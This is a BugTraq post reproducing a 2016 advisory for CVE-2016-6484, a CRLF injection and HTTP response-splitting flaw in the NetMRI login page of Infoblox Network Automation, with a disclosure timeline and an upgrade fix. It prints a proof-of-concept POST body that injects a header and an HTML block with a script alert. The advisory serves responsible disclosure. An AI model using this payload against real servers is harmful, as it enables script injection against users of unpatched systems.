BugTraq
[CVE-2016-6484] Infoblox Network Automation CRLF Injection/ HTTP splitting Sep 06 2016 07:50PM
alex_haynes outlook com
Exploit Title: [CVE-2016-6484] Infoblox Network Automation CRLF Injection/ HTTP splitting vulnerability
Product: Infoblox Network Automation
Vulnerable Versions: 7.0.1 and all previous versions
Tested Version: 6.9.2
Advisory Publication: 06/09/2016
Vulnerability Type: [CWE-113:] Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Response Splitting)
CVE Reference: CVE-2016-6484
Credit: Alex Haynes

Advisory Details:

(1) Vendor & Product Description
--------------------------------

Vendor:
Infoblox

Product & Version:
Infoblox Network Automation v7.0.1

Vendor URL & Download:
https://www.infoblox.com/products/network-automation

Product Description:
"Infoblox also offers a complementary, powerful network automation platform which enables discovery, switch port management, network change configuration and compliance management for multi-vendor network devices. Automation cuts down administrator workload and reduces risk of network outages due to improper configurations or changes."

(2) Vulnerability Details:
--------------------------
The login page of netmri is vulnerable to a HTTP splitting/CRLF injection.

https://NETMRISERVER/netmri/config/userAdmin/login.tdf

The POST of the login action contains the following parameters, and the ?contentType? parameter can be modified to be reflected in the response header:

skipjackPassword=test&width=100&contentType=application/xml&msg=Please+w
ait+while+your+credentials+are+validated...&url=%2Fnetmri%2Fconfig%2Fuse
rAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&multipartFile=&ti
tle=Waiting+For+Process&filename=&licenseFile=input.licenseFile&authServ
erList=192.168.X.X%2C+10.X.X.X

Once we control content-type, we can inject ?carriage return? : %0a and ?line feed? : %0d characters to break the header and introduce our own, effectively ?splitting the response. We can then introduce our own HTML and/or javascript to provoke a HTML injection or cross-site scripting attack.:

skipjackPassword=test&width=100&contentType=%0d%0aContentLength:%2019%0d
%0a%0d%0a<html><h1>Injected HTML</h1><script>alert(?xss?);</script><!--</html>
&msg=Please+wait+while+your+credentials+are+validated...&url=%2Fnetmri%2
Fconfig%2FuserAdmin%2Flogin.tdf&mode=DO-LOGIN&skipjackUsername=test&mult
ipartFile=&title=Waiting+For+Process&filename=&licenseFile=input.license
File&authServerList=192.168.X.X%2C+10.X.X.X

(3) Advisory Timeline:
----------------------
25/01/2016 - First Contact informing vendor of vulnerabilities. No response.
01/02/2016 - Follow up e-mail to inform them of vulnerabilities. Response requesting further information.
01/02/2016 - Information on vulnerabilities sent to vendor. No response.
08/02/2016 - follow up e-mail requesting update. Vendor responds asking us to open a support ticket.
12/02/2016 - Infoblox products out of support so cannot raise ticket. write to vendor to explain situation. No response.
24/02/2016 - Follow up with vendor on vulnerabilities requesting an update.
10/03/2016 - Final follow up to vendor requesting an update. Vendor responds and opens support ticket for vulnerabilities, mentioning they will look into vulnerabilities.
14/03/2016 - vendor responds saying they are able to reproduce vulnerabilities
17/03/2016 - Vendor responds saying some of the vulnerabilities are already fixed in version 7.0.4 but cannot confirm which ones.
05/04/2016 - Request update from vendor on status of vulnerabilities.
12/04/2016 - Vendor responds saying CSRF already fixed in 7.0.1, XSS and HTTP Splitting to be fixed in upcoming 7.1.1 - expected release in summer.
30/06/2016 - Patch 7.1.1 released
06/09/2016 - Public disclosure

(4)Solution:
------------
Upgrade to Version 7.1.1

(5) Credits:
------------
Discovered by Alex Haynes

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus